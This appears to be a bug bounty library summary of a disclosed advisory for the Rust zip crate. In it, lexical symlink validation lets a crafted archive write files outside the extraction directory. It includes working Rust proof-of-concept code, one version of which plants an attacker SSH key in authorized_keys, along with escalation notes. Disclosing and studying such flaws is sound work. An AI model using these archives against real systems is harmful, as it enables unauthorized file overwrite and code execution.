# zip: Arbitrary file write outside the extraction directory, because ZipArchive::extract validates symlink targets lexically.

zip crate's lexical symlink check in ZipArchive::extract lets a crafted archive chain symlinks to write arbitrary files outside the extraction directory.

- Payout: Research
- Severity: high
- Program: zip
- Found by: sl91994
- Disclosed: 2026-10-29
- CVE: CVE-2026-115908
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-hjqx-j4rw-g7xv
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-hjqx-j4rw-g7xv
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:high tech:rust technique:incomplete-fix technique:regression technique:source-review vuln:file-upload vuln:path-traversal

**Target:** Rust zip crate ZipArchive::extract / extract_unwrapped_root_dir
**Root cause:** safe_prepare_path validates symlink targets purely lexically via simplified_components prefix comparison, never resolving intermediate symlinks on disk; commit d5cf4b55 changed simplified_components to silently strip absolute Prefix/RootDir components instead of rejecting them, removing the protection that made CVE-2025-29787's fix effective.
**Steps:**
1. Craft ZIP with entries in central-directory order: `b` symlink -> `/…/outside` (absolute, unvalidated), `a` symlink -> `<dest>/b/sub` (lexically under dest), then file `a/pwned.txt`.
2. Extract via `ZipArchive::extract(&dest)`; `b` is created pointing outside dest without validation.
3. `a` is created pointing to `<dest>/b/sub`; lexical check passes since target starts with dest.
4. Processing `a/pwned.txt`, safe_prepare_path resolves component `a` to `<dest>/b/sub`, passes check, calls make_writable_dir_all creating `/…/outside/sub`.
5. `File::create` writes `<dest>/b/sub/pwned.txt`; kernel follows `b` and writes `/…/outside/sub/pwned.txt`; extract returns `Ok(())`.
6. Windows variant: single symlink `a` -> `D:\<same tail as dest>\evil` or `\\attacker\share\<tail>\evil` passes because simplified_components drops Prefix; outpath.push substitutes drive/share.
**How found:** Author compared git history: noticed d5cf4b55 changed simplified_components from rejecting absolute paths to stripping Prefix/RootDir, hypothesizing absolute symlink targets now pass the lexical check. Verified by reverting the change (attack blocked) and by testing the original CVE-2025-29787 PoC (still blocked), confirming a regression rather than duplicate.
**Exploitation:** Attacker supplies a malicious ZIP to any application calling ZipArchive::extract on untrusted input; knowing/guessing the absolute destination path (CI workspace, /opt/app, fixed Downloads), the symlink chain writes attacker-controlled content to arbitrary paths, overwriting ~/.ssh/authorized_keys, ~/.bashrc, .git/hooks/*, CI config or service binaries for RCE/privesc, or destroying files for DoS. Extraction returns Ok(()) so callers cannot detect it.
**Escalation:** Overwriting authorized_keys, shell rc files, git hooks, or service binaries/configs converts arbitrary file write into remote code execution or privilege escalation; Windows variant needs only a single symlink (no chain) via drive/UNC substitution.
**Insight:** When a path-safety check is purely lexical (prefix comparison after normalization), look for ways the OS resolves paths differently than the validator: intermediate symlinks in a resolved component, or absolute prefixes silently stripped by normalization. Diff the fix commit against the shipped release — a later refactor can silently undo a security fix.

## Proof of concept (copied exactly from the original report)

**Linux PoC: symlink chain escapes extraction dir**

```
let mut zip = ZipWriter::new(Cursor::new(Vec::new()));
    let opt = SimpleFileOptions::default();
    // b: Symlink pointing outside (target is created unverified)
    zip.add_symlink("b", outside.to_str().unwrap(), opt).unwrap();
    // a: Symlink whose target starts under dest (passes lexical validation)
    zip.add_symlink("a", dest.join("b/sub").to_str().unwrap(), opt).unwrap();
    // a/pwned.txt: File that escapes outside dest by traversing the intermediate b
    zip.start_file("a/pwned.txt", opt).unwrap();
    zip.write_all(b"escaped!").unwrap();
    let archive = zip.finish_into_readable().unwrap();

    ZipArchive::from(archive).extract(&dest).unwrap();

    // Verification: File has been written outside dest
    let escaped = outside.join("sub/pwned.txt");
    assert!(escaped.exists(), "escape failed");
    assert_eq!(fs::read_to_string(&escaped).unwrap(), "escaped!");
    println!("wrote outside dest: {}", escaped.display());
```

**PoC overwrites victim's authorized_keys**

```
zip.add_symlink("b", home.to_str().unwrap(), opt).unwrap();
    // a: Symlink pointing to <dest>/b/.ssh (passes validation because it is lexically under dest)
    zip.add_symlink("a", dest.join("b/.ssh").to_str().unwrap(), opt).unwrap();
    // a/authorized_keys: File entry that reaches the actual authorized_keys
    zip.start_file("a/authorized_keys", opt).unwrap();
    zip.write_all(b"ssh-ed25519 AAAA...ATTACKER attacker@evil\n").unwrap();
    let archive = zip.finish_into_readable().unwrap();

    // extract() returns Ok(()) without an error (the caller cannot detect it)
    let res = ZipArchive::from(archive).extract(&dest);
    println!("extract() returned: {:?}", res);
    res.unwrap();

    // Verification: Existing file is overwritten with the attacker's content
    let after = fs::read_to_string(&authorized_keys).unwrap();
    println!("--- BEFORE ---\n{original}--- AFTER ---\n{after}");
    assert_ne!(after, original, "file was NOT overwritten");
    assert!(after.contains("ATTACKER"), "attacker content not present");
```

**Windows single-symlink escape to other drive/UNC**

```
let mut zip = ZipWriter::new(Cursor::new(Vec::new()));
    let opt = SimpleFileOptions::default();
    // a: an absolute symlink pointing to the separate drive/share (passes the lexical check via matching tail)
    zip.add_symlink("a", &target_str, opt).unwrap();
    // a/pwned.txt: resolving `a` substitutes the drive in outpath, causing the write to land outside dest
    zip.start_file("a/pwned.txt", opt).unwrap();
    zip.write_all(b"escaped-on-windows!").unwrap();
    let archive = zip.finish_into_readable().unwrap();

    let res = ZipArchive::from(archive).extract(&dest);
    println!("[{variant}] extract() returned: {res:?}");

    res.expect("extract() failed");

    let escaped = escape_dir.join("pwned.txt");
    assert!(
        escaped.exists(),
        "[{variant}] escape failed: {} was not created",
        escaped.display()
    );

    let content = fs::read_to_string(&escaped).unwrap();
    println!(
        "[{variant}] WROTE OUTSIDE DEST: {} = {content:?}",
        escaped.display()
    );

    let _ = fs::remove_file(&escaped);
    let _ = fs::remove_dir(&escape_dir);

    assert_eq!(
        content, "escaped-on-windows!",
        "[{variant}] written content mismatch",
    );
```

